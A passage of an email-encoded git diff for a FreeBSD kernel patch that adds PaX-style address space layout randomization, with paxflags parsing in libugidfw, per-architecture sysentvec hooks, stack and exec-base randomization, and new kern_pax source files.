1; + paxflags_elements_length =3D argc - paxflags_elements; + } + subject_elements_length =3D object - subject - 1; object_elements =3D object + 1; object_elements_length =3D mode - object_elements; mode_elements =3D mode + 1; - mode_elements_length =3D argc - mode_elements; + mode_elements_length =3D argc - mode_elements - + (paxflags_elements_length ? paxflags_elements_length+1 : 0); =20 error =3D bsde_parse_subject(subject_elements_length, argv + subject_elements, &rule->mbr_subject, buflen, errstr); @@ -1058,6 +1168,13 @@ bsde_parse_rule(int argc, char *argv[], struct mac_b= sdextended_rule *rule, if (error) return (-1); =20 + if (paxflags >=3D 0) { + error =3D bsde_parse_paxflags(paxflags_elements_length, argv + paxflags_= elements, + &rule->mbr_pax, buflen, errstr); + if (error) + return (-1); + } + return (0); } =20 diff --git a/lib/libugidfw/ugidfw.h b/lib/libugidfw/ugidfw.h index 5b7fcf2..cef469c 100644 --- a/lib/libugidfw/ugidfw.h +++ b/lib/libugidfw/ugidfw.h @@ -39,6 +39,8 @@ int bsde_rule_to_string(struct mac_bsdextended_rule *rule= , char *buf, size_t buflen); int bsde_parse_mode(int argc, char *argv[], mode_t *mode, size_t buflen, char *errstr); +int bsde_parse_paxflags(int argc, char *argv[], uint32_t *pax, size_t bufl= en, + char *errstr); int bsde_parse_rule(int argc, char *argv[], struct mac_bsdextended_rule *rule, size_t buflen, char *errstr); int bsde_parse_rule_string(const char *string, diff --git a/sys/amd64/amd64/elf_machdep.c b/sys/amd64/amd64/elf_machdep.c index fdc4d56..ffb5e31 100644 --- a/sys/amd64/amd64/elf_machdep.c +++ b/sys/amd64/amd64/elf_machdep.c @@ -26,12 +26,17 @@ #include __FBSDID("$FreeBSD$"); =20 +#include "opt_pax.h" + #include #include #include #include #include #include +#ifdef PAX_ASLR +#include +#endif #include #include #include @@ -81,6 +86,11 @@ struct sysentvec elf64_freebsd_sysvec =3D { .sv_shared_page_base =3D SHAREDPAGE, .sv_shared_page_len =3D PAGE_SIZE, .sv_schedtail =3D NULL, +#ifdef PAX_ASLR + .sv_pax_aslr_init =3D _pax_aslr_init, +#else + .sv_pax_aslr_init =3D NULL, +#endif }; INIT_SYSENTVEC(elf64_sysvec, &elf64_freebsd_sysvec); =20 diff --git a/sys/amd64/include/vmparam.h b/sys/amd64/include/vmparam.h index bda9722..5e83a8f 100644 --- a/sys/amd64/include/vmparam.h +++ b/sys/amd64/include/vmparam.h @@ -170,7 +170,7 @@ #define VM_MAXUSER_ADDRESS UVADDR(NUPML4E, 0, 0, 0) =20 #define SHAREDPAGE (VM_MAXUSER_ADDRESS - PAGE_SIZE) -#define USRSTACK SHAREDPAGE +#define USRSTACK (SHAREDPAGE - 4*PAGE_SIZE) =20 #define VM_MAX_ADDRESS UPT_MAX_ADDRESS #define VM_MIN_ADDRESS (0) diff --git a/sys/amd64/linux32/linux32_sysvec.c b/sys/amd64/linux32/linux32= _sysvec.c index c06ce11..f4f99f58 100644 --- a/sys/amd64/linux32/linux32_sysvec.c +++ b/sys/amd64/linux32/linux32_sysvec.c @@ -33,6 +33,7 @@ #include __FBSDID("$FreeBSD$"); #include "opt_compat.h" +#include "opt_pax.h" =20 #ifndef COMPAT_FREEBSD32 #error "Unable to compile Linux-emulator due to missing COMPAT_FREEBSD32 o= ption!" @@ -84,6 +85,10 @@ __FBSDID("$FreeBSD$"); #include #include =20 +#ifdef PAX_ASLR +#include +#endif + MODULE_VERSION(linux, 1); =20 MALLOC_DEFINE(M_LINUX, "linux", "Linux mode structures"); @@ -1037,6 +1042,11 @@ struct sysentvec elf_linux_sysvec =3D { .sv_shared_page_base =3D LINUX32_SHAREDPAGE, .sv_shared_page_len =3D PAGE_SIZE, .sv_schedtail =3D linux_schedtail, +#ifdef PAX_ASLR + .sv_pax_aslr_init =3D _pax_aslr_init32, +#else + .sv_pax_aslr_init =3D NULL, +#endif }; INIT_SYSENTVEC(elf_sysvec, &elf_linux_sysvec); =20 diff --git a/sys/arm/arm/elf_machdep.c b/sys/arm/arm/elf_machdep.c index 8ef9bd4..26e37e6 100644 --- a/sys/arm/arm/elf_machdep.c +++ b/sys/arm/arm/elf_machdep.c @@ -26,6 +26,8 @@ #include __FBSDID("$FreeBSD$"); =20 +#include "opt_pax.h" + #include #include #include @@ -46,6 +48,10 @@ __FBSDID("$FreeBSD$"); #include #include =20 +#ifdef PAX_ASLR +#include +#endif + struct sysentvec elf32_freebsd_sysvec =3D { .sv_size =3D SYS_MAXSYSCALL, .sv_table =3D sysent, @@ -79,6 +85,11 @@ struct sysentvec elf32_freebsd_sysvec =3D { .sv_fetch_syscall_args =3D cpu_fetch_syscall_args, .sv_syscallnames =3D syscallnames, .sv_schedtail =3D NULL, +#ifdef PAX_ASLR + .sv_pax_aslr_init =3D _pax_aslr_init, +#else + .sv_pax_aslr_init =3D NULL, +#endif }; =20 static Elf32_Brandinfo freebsd_brand_info =3D { diff --git a/sys/compat/freebsd32/freebsd32_misc.c b/sys/compat/freebsd32/f= reebsd32_misc.c index 68e761b..96a81d9 100644 --- a/sys/compat/freebsd32/freebsd32_misc.c +++ b/sys/compat/freebsd32/freebsd32_misc.c @@ -30,6 +30,7 @@ __FBSDID("$FreeBSD$"); #include "opt_compat.h" #include "opt_inet.h" #include "opt_inet6.h" +#include "opt_pax.h" =20 #define __ELF_WORD_SIZE 32 =20 @@ -113,6 +114,10 @@ __FBSDID("$FreeBSD$"); =20 FEATURE(compat_freebsd_32bit, "Compatible with 32-bit FreeBSD"); =20 +#ifdef PAX_ASLR +#include +#endif + #ifndef __mips__ CTASSERT(sizeof(struct timeval32) =3D=3D 8); CTASSERT(sizeof(struct timespec32) =3D=3D 8); @@ -2886,6 +2891,10 @@ freebsd32_copyout_strings(struct image_params *imgp) szsigcode =3D 0; destp =3D (uintptr_t)arginfo; =20 +#ifdef PAX_ASLR + pax_aslr_stack(curthread, &destp); +#endif + /* * install sigcode */ diff --git a/sys/compat/ia32/ia32_sysvec.c b/sys/compat/ia32/ia32_sysvec.c index a8e52e8..ade8da5 100644 --- a/sys/compat/ia32/ia32_sysvec.c +++ b/sys/compat/ia32/ia32_sysvec.c @@ -29,6 +29,7 @@ __FBSDID("$FreeBSD$"); =20 #include "opt_compat.h" +#include "opt_pax.h" =20 #define __ELF_WORD_SIZE 32 =20 @@ -74,6 +75,10 @@ __FBSDID("$FreeBSD$"); #include #include =20 +#ifdef PAX_ASLR +#include +#endif + CTASSERT(sizeof(struct ia32_mcontext) =3D=3D 640); CTASSERT(sizeof(struct ia32_ucontext) =3D=3D 704); CTASSERT(sizeof(struct ia32_sigframe) =3D=3D 800); @@ -139,6 +144,11 @@ struct sysentvec ia32_freebsd_sysvec =3D { .sv_shared_page_base =3D FREEBSD32_SHAREDPAGE, .sv_shared_page_len =3D PAGE_SIZE, .sv_schedtail =3D NULL, +#ifdef PAX_ASLR + .sv_pax_aslr_init =3D _pax_aslr_init32, +#else + .sv_pax_aslr_init =3D NULL, +#endif }; INIT_SYSENTVEC(elf_ia32_sysvec, &ia32_freebsd_sysvec); =20 diff --git a/sys/conf/NOTES b/sys/conf/NOTES index 4d27713..671ef83 100644 --- a/sys/conf/NOTES +++ b/sys/conf/NOTES @@ -2972,3 +2972,7 @@ options RANDOM_RWFILE # Read and write entropy cache =20 # Module to enable execution of application via emulators like QEMU options IMAGACT_BINMISC + +# Address Space Layout Randomization (ASLR) +options PAX_ASLR +options PAX_SYSCTLS diff --git a/sys/conf/files b/sys/conf/files index cc907c50..1e73c88 100644 --- a/sys/conf/files +++ b/sys/conf/files @@ -2907,6 +2907,9 @@ kern/kern_mtxpool.c standard kern/kern_mutex.c standard kern/kern_ntptime.c standard kern/kern_osd.c standard +kern/kern_pax.c optional pax_aslr +kern/kern_pax_aslr.c optional pax_aslr +kern/kern_pax_log.c optional pax_aslr kern/kern_physio.c standard kern/kern_pmc.c standard kern/kern_poll.c optional device_polling diff --git a/sys/conf/options b/sys/conf/options index 32fb4d4..6e81e4e 100644 --- a/sys/conf/options +++ b/sys/conf/options @@ -916,6 +916,12 @@ RACCT opt_global.h # Resource Limits RCTL opt_global.h =20 +# PaX - hardening options +PAX_ASLR opt_pax.h +PAX_ASLR_MAX_SEC opt_pax.h +PAX_MPROTECT opt_pax.h +PAX_SYSCTLS opt_pax.h + # Random number generator(s) RANDOM_YARROW opt_random.h RANDOM_FORTUNA opt_random.h diff --git a/sys/i386/i386/elf_machdep.c b/sys/i386/i386/elf_machdep.c index 034b4c4..9571252 100644 --- a/sys/i386/i386/elf_machdep.c +++ b/sys/i386/i386/elf_machdep.c @@ -26,6 +26,8 @@ #include __FBSDID("$FreeBSD$"); =20 +#include "opt_pax.h" + #include #include #include @@ -46,6 +48,10 @@ __FBSDID("$FreeBSD$"); #include #include =20 +#ifdef PAX_ASLR +#include +#endif + struct sysentvec elf32_freebsd_sysvec =3D { .sv_size =3D SYS_MAXSYSCALL, .sv_table =3D sysent, @@ -81,6 +87,11 @@ struct sysentvec elf32_freebsd_sysvec =3D { .sv_shared_page_base =3D SHAREDPAGE, .sv_shared_page_len =3D PAGE_SIZE, .sv_schedtail =3D NULL, +#ifdef PAX_ASLR + .sv_pax_aslr_init =3D _pax_aslr_init, +#else + .sv_pax_aslr_init =3D NULL, +#endif }; INIT_SYSENTVEC(elf32_sysvec, &elf32_freebsd_sysvec); =20 diff --git a/sys/i386/ibcs2/ibcs2_sysvec.c b/sys/i386/ibcs2/ibcs2_sysvec.c index 5d007c7..1bb9d89 100644 --- a/sys/i386/ibcs2/ibcs2_sysvec.c +++ b/sys/i386/ibcs2/ibcs2_sysvec.c @@ -31,6 +31,8 @@ #include __FBSDID("$FreeBSD$"); =20 +#include "opt_pax.h" + #include #include #include @@ -50,6 +52,10 @@ __FBSDID("$FreeBSD$"); #include #include =20 +#ifdef PAX_ASLR +#include +#endif + MODULE_VERSION(ibcs2, 1); =20 extern int bsd_to_ibcs2_errno[]; @@ -89,6 +95,11 @@ struct sysentvec ibcs2_svr3_sysvec =3D { .sv_fetch_syscall_args =3D cpu_fetch_syscall_args, .sv_syscallnames =3D NULL, .sv_schedtail =3D NULL, +#ifdef PAX_ASLR + .sv_pax_aslr_init =3D _pax_aslr_init, /* XXXOP */ +#else + .sv_pax_aslr_init =3D NULL, +#endif }; =20 static int diff --git a/sys/i386/linux/linux_sysvec.c b/sys/i386/linux/linux_sysvec.c index 0ad6791..403070c 100644 --- a/sys/i386/linux/linux_sysvec.c +++ b/sys/i386/linux/linux_sysvec.c @@ -29,6 +29,8 @@ #include __FBSDID("$FreeBSD$"); =20 +#include "opt_pax.h" + #include #include #include @@ -72,6 +74,10 @@ __FBSDID("$FreeBSD$"); #include #include =20 +#ifdef PAX_ASLR +#include +#endif + MODULE_VERSION(linux, 1); =20 MALLOC_DEFINE(M_LINUX, "linux", "Linux mode structures"); @@ -974,6 +980,11 @@ struct sysentvec linux_sysvec =3D { .sv_shared_page_base =3D LINUX_SHAREDPAGE, .sv_shared_page_len =3D PAGE_SIZE, .sv_schedtail =3D linux_schedtail, +#ifdef PAX_ASLR + .sv_pax_aslr_init =3D _pax_aslr_init, /* XXXOP */ +#else + .sv_pax_aslr_init =3D NULL, +#endif }; INIT_SYSENTVEC(aout_sysvec, &linux_sysvec); =20 @@ -1012,6 +1023,11 @@ struct sysentvec elf_linux_sysvec =3D { .sv_shared_page_base =3D LINUX_SHAREDPAGE, .sv_shared_page_len =3D PAGE_SIZE, .sv_schedtail =3D linux_schedtail, +#ifdef PAX_ASLR + .sv_pax_aslr_init =3D _pax_aslr_init, +#else + .sv_pax_aslr_init =3D NULL, +#endif }; INIT_SYSENTVEC(elf_sysvec, &elf_linux_sysvec); =20 diff --git a/sys/ia64/ia64/elf_machdep.c b/sys/ia64/ia64/elf_machdep.c index 05cb641..e3d19c1 100644 --- a/sys/ia64/ia64/elf_machdep.c +++ b/sys/ia64/ia64/elf_machdep.c @@ -25,6 +25,8 @@ * $FreeBSD$ */ =20 +#include "opt_pax.h" + #include #include #include @@ -49,6 +51,10 @@ #include #include =20 +#ifdef PAX_ASLR +#include +#endif + Elf_Addr link_elf_get_gp(linker_file_t); =20 extern Elf_Addr fptr_storage[]; @@ -86,6 +92,12 @@ struct sysentvec elf64_freebsd_sysvec =3D { .sv_fetch_syscall_args =3D cpu_fetch_syscall_args, .sv_syscallnames =3D syscallnames, .sv_schedtail =3D NULL, +#ifdef PAX_ASLR + .sv_pax_aslr_init =3D _pax_aslr_init, +#else + .sv_pax_aslr_init =3D NULL, +#endif + }; =20 static Elf64_Brandinfo freebsd_brand_info =3D { diff --git a/sys/kern/imgact_aout.c b/sys/kern/imgact_aout.c index 3ae78de..aac03f1 100644 --- a/sys/kern/imgact_aout.c +++ b/sys/kern/imgact_aout.c @@ -27,6 +27,8 @@ #include __FBSDID("$FreeBSD$"); =20 +#include "opt_pax.h" + #include #include #include @@ -62,6 +64,10 @@ __FBSDID("$FreeBSD$"); #include #endif =20 +#ifdef PAX_ASLR +#include +#endif + static int exec_aout_imgact(struct image_params *imgp); static int aout_fixup(register_t **stack_base, struct image_params *imgp); =20 @@ -99,6 +105,11 @@ struct sysentvec aout_sysvec =3D { .sv_fetch_syscall_args =3D cpu_fetch_syscall_args, .sv_syscallnames =3D syscallnames, .sv_schedtail =3D NULL, +#ifdef PAX_ASLR + .sv_pax_aslr_init =3D _pax_aslr_init, /* XXXOP */ +#else + .sv_pax_aslr_init =3D NULL, +#endif }; =20 #elif defined(__amd64__) @@ -143,6 +154,11 @@ struct sysentvec aout_sysvec =3D { .sv_set_syscall_retval =3D ia32_set_syscall_retval, .sv_fetch_syscall_args =3D ia32_fetch_syscall_args, .sv_syscallnames =3D freebsd32_syscallnames, +#ifdef PAX_ASLR + .sv_pax_aslr_init =3D _pax_aslr_init32, /* XXXOP */ +#else + .sv_pax_aslr_init =3D NULL, +#endif }; #else #error "Port me" diff --git a/sys/kern/imgact_elf.c b/sys/kern/imgact_elf.c index 591094e..d0e01d3 100644 --- a/sys/kern/imgact_elf.c +++ b/sys/kern/imgact_elf.c @@ -34,6 +34,7 @@ __FBSDID("$FreeBSD$"); #include "opt_capsicum.h" #include "opt_compat.h" #include "opt_core.h" +#include "opt_pax.h" =20 #include #include @@ -48,6 +49,7 @@ __FBSDID("$FreeBSD$"); #include #include #include +#include #include #include #include @@ -81,6 +83,10 @@ __FBSDID("$FreeBSD$"); #include #include =20 +#if defined(PAX_ASLR) +#include +#endif + #define ELF_NOTE_ROUNDSIZE 4 #define OLD_EI_BRAND 8 =20 @@ -655,16 +661,16 @@ __elfN(load_file)(struct proc *p, const char *file, u= _long *addr, hdr =3D (const Elf_Ehdr *)imgp->image_header; if ((error =3D __elfN(check_header)(hdr)) !=3D 0) goto fail; - if (hdr->e_type =3D=3D ET_DYN) + if (hdr->e_type =3D=3D ET_DYN) { rbase =3D *addr; - else if (hdr->e_type =3D=3D ET_EXEC) + } else if (hdr->e_type =3D=3D ET_EXEC) { rbase =3D 0; - else { + } else { error =3D ENOEXEC; goto fail; } =20 - /* Only support headers that fit within first page for now */ + /* Only support headers that fit within first page for now */ if ((hdr->e_phoff > PAGE_SIZE) || (u_int)hdr->e_phentsize * hdr->e_phnum > PAGE_SIZE - hdr->e_phoff) { error =3D ENOEXEC; @@ -789,16 +795,7 @@ __CONCAT(exec_, __elfN(imgact))(struct image_params *i= mgp) if (hdr->e_type =3D=3D ET_DYN) { if ((brand_info->flags & BI_CAN_EXEC_DYN) =3D=3D 0) return (ENOEXEC); - /* - * Honour the base load address from the dso if it is - * non-zero for some reason. - */ - if (baddr =3D=3D 0) - et_dyn_addr =3D ET_DYN_LOAD_ADDR; - else - et_dyn_addr =3D 0; - } else - et_dyn_addr =3D 0; + } sv =3D brand_info->sysvec; if (interp !=3D NULL && brand_info->interp_newpath !=3D NULL) newinterp =3D brand_info->interp_newpath; @@ -819,6 +816,25 @@ __CONCAT(exec_, __elfN(imgact))(struct image_params *i= mgp) error =3D exec_new_vmspace(imgp, sv); imgp->proc->p_sysent =3D sv; =20 +#if defined(PAX_MPROTECT) || defined(PAX_ASLR) + pax_elf(imgp, 0); +#endif + + et_dyn_addr =3D 0; + if (hdr->e_type =3D=3D ET_DYN) { + /* + * Honour the base load address from the dso if it is + * non-zero for some reason. + */ + if (baddr =3D=3D 0) { + et_dyn_addr =3D ET_DYN_LOAD_ADDR; +#ifdef PAX_ASLR + if (pax_aslr_active(NULL, imgp->proc)) + et_dyn_addr +=3D imgp->proc->p_vmspace->vm_aslr_delta_exec; +#endif + } + } + vn_lock(imgp->vp, LK_EXCLUSIVE | LK_RETRY); if (error) return (error); diff --git a/sys/kern/init_main.c b/sys/kern/init_main.c index 141d438..9301b57 100644 --- a/sys/kern/init_main.c +++ b/sys/kern/init_main.c @@ -410,6 +410,7 @@ struct sysentvec null_sysvec =3D { .sv_fetch_syscall_args =3D null_fetch_syscall_args, .sv_syscallnames =3D NULL, .sv_schedtail =3D NULL, + .sv_pax_aslr_init =3D NULL, }; =20 /* diff --git a/sys/kern/kern_exec.c b/sys/kern/kern_exec.c index 667715e..24caccc 100644 --- a/sys/kern/kern_exec.c +++ b/sys/kern/kern_exec.c @@ -30,6 +30,7 @@ __FBSDID("$FreeBSD$"); #include "opt_capsicum.h" #include "opt_hwpmc_hooks.h" #include "opt_ktrace.h" +#include "opt_pax.h" #include "opt_vm.h" =20 #include @@ -94,6 +95,10 @@ __FBSDID("$FreeBSD$"); dtrace_execexit_func_t dtrace_fasttrap_exec; #endif =20 +#if defined(PAX_ASLR) +#include +#endif + SDT_PROVIDER_DECLARE(proc); SDT_PROBE_DEFINE1(proc, kernel, , exec, "char *"); SDT_PROBE_DEFINE1(proc, kernel, , exec__failure, "int"); @@ -404,6 +409,7 @@ do_execve(td, args, mac_p) imgp->pagesizes =3D 0; imgp->pagesizeslen =3D 0; imgp->stack_prot =3D 0; + imgp->pax_flags =3D 0; =20 #ifdef MAC error =3D mac_execve_enter(imgp, mac_p); @@ -1064,6 +1070,10 @@ exec_new_vmspace(imgp, sv) map =3D &vmspace->vm_map; } =20 +#ifdef PAX_ASLR + pax_aslr_init(curthread, imgp); +#endif + /* Map a shared page */ obj =3D sv->sv_shared_page_obj; if (obj !=3D NULL) { @@ -1107,6 +1117,9 @@ exec_new_vmspace(imgp, sv) */ vmspace->vm_ssize =3D sgrowsiz >> PAGE_SHIFT; vmspace->vm_maxsaddr =3D (char *)sv->sv_usrstack - ssiz; +#ifdef PAX_ASLR + vmspace->vm_maxsaddr -=3D vmspace->vm_aslr_delta_stack; +#endif =20 return (0); } @@ -1266,6 +1279,9 @@ exec_copyout_strings(imgp) szsigcode =3D *(p->p_sysent->sv_szsigcode); } destp =3D (uintptr_t)arginfo; +#ifdef PAX_ASLR + pax_aslr_stack(curthread, &destp); +#endif =20 /* * install sigcode diff --git a/sys/kern/kern_fork.c b/sys/kern/kern_fork.c index b3d9c24..3cd85d8 100644 --- a/sys/kern/kern_fork.c +++ b/sys/kern/kern_fork.c @@ -513,6 +513,11 @@ do_fork(struct thread *td, int flags, struct proc *p2,= struct thread *td2, } =20 /* + * XXXOP: this is the right place? + */ + p2->p_pax =3D p1->p_pax; + + /* * p_limit is copy-on-write. Bump its refcount. */ lim_fork(p1, p2); diff --git a/sys/kern/kern_jail.c b/sys/kern/kern_jail.c index 47cd568..d9036bd 100644 --- a/sys/kern/kern_jail.c +++ b/sys/kern/kern_jail.c @@ -33,6 +33,7 @@ __FBSDID("$FreeBSD$"); #include "opt_ddb.h" #include "opt_inet.h" #include "opt_inet6.h" +#include "opt_pax.h" =20 #include #include @@ -74,6 +75,10 @@ __FBSDID("$FreeBSD$"); #endif /* INET6 */ #endif /* DDB */ =20 +#if defined(PAX_ASLR) +#include +#endif + #include =20 #define DEFAULT_HOSTUUID "00000000-0000-0000-0000-000000000000" @@ -117,6 +122,10 @@ struct prison prison0 =3D { }; MTX_SYSINIT(prison0, &prison0.pr_mtx, "jail mutex", MTX_DEF); =20 +#if defined(PAX_ASLR) +SYSINIT(pax, SI_SUB_PAX, SI_ORDER_MIDDLE, pax_init_prison, (void *) &priso= n0); +#endif + /* allprison, allprison_racct and lastprid are protected by allprison_lock= =2E */ struct sx allprison_lock; SX_SYSINIT(allprison_lock, &allprison_lock, "allprison"); @@ -1307,6 +1316,10 @@ kern_jail_set(struct thread *td, struct uio *optuio,= int flags) goto done_releroot; } =20 +#if defined(PAX_ASLR) + pax_init_prison(pr); +#endif + mtx_lock(&pr->pr_mtx); /* * New prisons do not yet have a reference, because we do not diff --git a/sys/kern/kern_pax.c b/sys/kern/kern_pax.c new file mode 100644 index 0000000..1bd5ad0 --- /dev/null +++ b/sys/kern/kern_pax.c @@ -0,0 +1,214 @@ +/*- + * Copyright (c) 2006 Elad Efrat + * Copyright (c) 2013-2014, by Oliver Pinter + * Copyright (c) 2014, by Shawn Webb + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. The name of the author may not be used to endorse or promote products + * derived from this software without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTI= ES + * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. + * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF US= E, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF + * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + * + * $FreeBSD$ + */ + +#include +__FBSDID("$FreeBSD$"); + +#include "opt_compat.h" +#include "opt_pax.h" + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include +#include +#include +#include + +#include +#include + +#include +#include +#include + +#include + +#include + +#include + +SYSCTL_NODE(_security, OID_AUTO, pax, CTLFLAG_RD, 0, + "PaX (exploit mitigation) features."); + +struct prison * +pax_get_prison(struct thread *td, struct proc *proc) +{ + + if (td !=3D NULL) { + if ((td->td_proc !=3D NULL) && (td->td_proc->p_ucred !=3D NULL)) + return (td->td_proc->p_ucred->cr_prison); + + return (NULL); + } + if ((proc =3D=3D NULL) || (proc->p_ucred =3D=3D NULL)) + return (NULL); + + return (proc->p_ucred->cr_prison); +} + +void +pax_elf(struct image_params *imgp, uint32_t mode) +{ + u_int flags =3D 0; + + if ((mode & MBI_ALLPAX) =3D=3D MBI_ALLPAX) + goto end; + + if (mode & MBI_FORCE_ASLR_ENABLED) + flags |=3D PAX_NOTE_ASLR; + else if (mode & MBI_FORCE_ASLR_DISABLED) + flags |=3D PAX_NOTE_NOASLR; + +end: + if (imgp !=3D NULL) { + imgp->pax_flags =3D flags; + if (imgp->proc !=3D NULL) { + PROC_LOCK(imgp->proc); + imgp->proc->p_pax =3D flags; + PROC_UNLOCK(imgp->proc); + } + } +} + + +/* + * print out PaX settings on boot time, and validate some of them + */ +void +pax_init(void) +{ +#if defined(PAX_ASLR) + const char *status_str[] =3D { + [0] =3D "disabled", + [1] =3D "opt-in", + [2] =3D "opt-out", + [3] =3D "force enabled", + [4] =3D "UNKNOWN -> changed to \"force enabled\"" + }; +#endif + +#ifdef PAX_ASLR + switch (pax_aslr_status) { + case 0: + case 1: + case 2: + case 3: + break; + default: + printf("[PAX ASLR] WARNING, invalid PAX settings in loader.conf!" + " (pax_aslr_status =3D %d)\n", pax_aslr_status); + pax_aslr_status =3D 3; + break; + } + printf("[PAX ASLR] status: %s\n", status_str[pax_aslr_status]); + printf("[PAX ASLR] mmap: %d bit\n", pax_aslr_mmap_len); + printf("[PAX ASLR] exec base: %d bit\n", pax_aslr_exec_len); + printf("[PAX ASLR] stack: %d bit\n", pax_aslr_stack_len); + +#ifdef COMPAT_FREEBSD32 + switch (pax_aslr_compat_status) { + case 0: + case 1: + case 2: + case 3: + break; + default: + printf("[PAX ASLR (compat)] WARNING, invalid PAX settings in loader.conf= ! " + "(pax_aslr_compat_status =3D %d)\n", pax_aslr_compat_status); + pax_aslr_compat_status =3D 3; + break; + } + printf("[PAX ASLR (compat)] status: %s\n", status_str[pax_aslr_compat_sta= tus]); + printf("[PAX ASLR (compat)] mmap: %d bit\n", pax_aslr_compat_mmap_len); + printf("[PAX ASLR (compat)] exec base: %d bit\n", pax_aslr_compat_exec_le= n); + printf("[PAX ASLR (compat)] stack: %d bit\n", pax_aslr_compat_stack_len); +#endif /* COMPAT_FREEBSD32 */ +#endif /* PAX_ASLR */ + + printf("[PAX LOG] logging to system: %d\n", pax_log_log); + printf("[PAX LOG] logging to user: %d\n", pax_log_ulog); +} +SYSINIT(pax, SI_SUB_PAX, SI_ORDER_FIRST, pax_init, NULL); + +void +pax_init_prison(struct prison *pr) +{ + + if (pr =3D=3D NULL) + return; + + if (pr->pr_pax_set) + return; + + mtx_lock(&(pr->pr_mtx)); + + if (pax_aslr_debug) + uprintf("[PaX ASLR] %s: Setting prison %s ASLR variables\n", + __func__, pr->pr_name); + +#ifdef PAX_ASLR + pr->pr_pax_aslr_status =3D pax_aslr_status; + pr->pr_pax_aslr_debug =3D pax_aslr_debug; + pr->pr_pax_aslr_mmap_len =3D pax_aslr_mmap_len; + pr->pr_pax_aslr_stack_len =3D pax_aslr_stack_len; + pr->pr_pax_aslr_exec_len =3D pax_aslr_exec_len; + +#ifdef COMPAT_FREEBSD32 + pr->pr_pax_aslr_compat_status =3D pax_aslr_compat_status; + pr->pr_pax_aslr_compat_mmap_len =3D pax_aslr_compat_mmap_len; + pr->pr_pax_aslr_compat_stack_len =3D pax_aslr_compat_stack_len; + pr->pr_pax_aslr_compat_exec_len =3D pax_aslr_compat_exec_len; +#endif /* COMPAT_FREEBSD32 */ +#endif /* PAX_ASLR */ + + pr->pr_pax_log_log =3D pax_log_log; + pr->pr_pax_log_ulog =3D pax_log_ulog; + + pr->pr_pax_set =3D 1; + + mtx_unlock(&(pr->pr_mtx)); +} diff --git a/sys/kern/kern_pax_aslr.c b/sys/kern/kern_pax_aslr.c new file mode 100644 index 0000000..4b5e8dd --- /dev/null +++ b/sys/kern/kern_pax_aslr.c @@ -0,0 +1,685 @@ +/*- + * Copyright (c) 2006 Elad Efrat + * Copyright (c) 2013-2014, by Oliver Pinter + * Copyright (c) 2014, by Shawn Webb + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. The name of the author may not be used to endorse or promote products + * derived from this software without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTI= ES + * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. + * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF US= E, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF + * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + * + * $FreeBSD$ + */ + +#include +__FBSDID("$FreeBSD$"); + +#include "opt_compat.h" +#include "opt_pax.h" + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include +#include +#include +#include + +#include +#include +#include + +#include + +#include + +FEATURE(aslr, "Address Space Layout Randomization."); + +int pax_aslr_status =3D PAX_ASLR_OPTOUT; +int pax_aslr_debug =3D 0; + +#ifdef PAX_ASLR_MAX_SEC +int pax_aslr_mmap_len =3D PAX_ASLR_DELTA_MMAP_MAX_LEN; +int pax_aslr_stack_len =3D PAX_ASLR_DELTA_STACK_MAX_LEN; +int pax_aslr_exec_len =3D PAX_ASLR_DELTA_EXEC_MAX_LEN; +#else +int pax_aslr_mmap_len =3D PAX_ASLR_DELTA_MMAP_DEF_LEN; +int pax_aslr_stack_len =3D PAX_ASLR_DELTA_STACK_DEF_LEN; +int pax_aslr_exec_len =3D PAX_ASLR_DELTA_EXEC_DEF_LEN; +#endif /* PAX_ASLR_MAX_SEC */ + +#ifdef COMPAT_FREEBSD32 +int pax_aslr_compat_status =3D PAX_ASLR_OPTOUT; +#ifdef PAX_ASLR_MAX_SEC +int pax_aslr_compat_mmap_len =3D PAX_ASLR_COMPAT_DELTA_MMAP_MAX_LEN; +int pax_aslr_compat_stack_len =3D 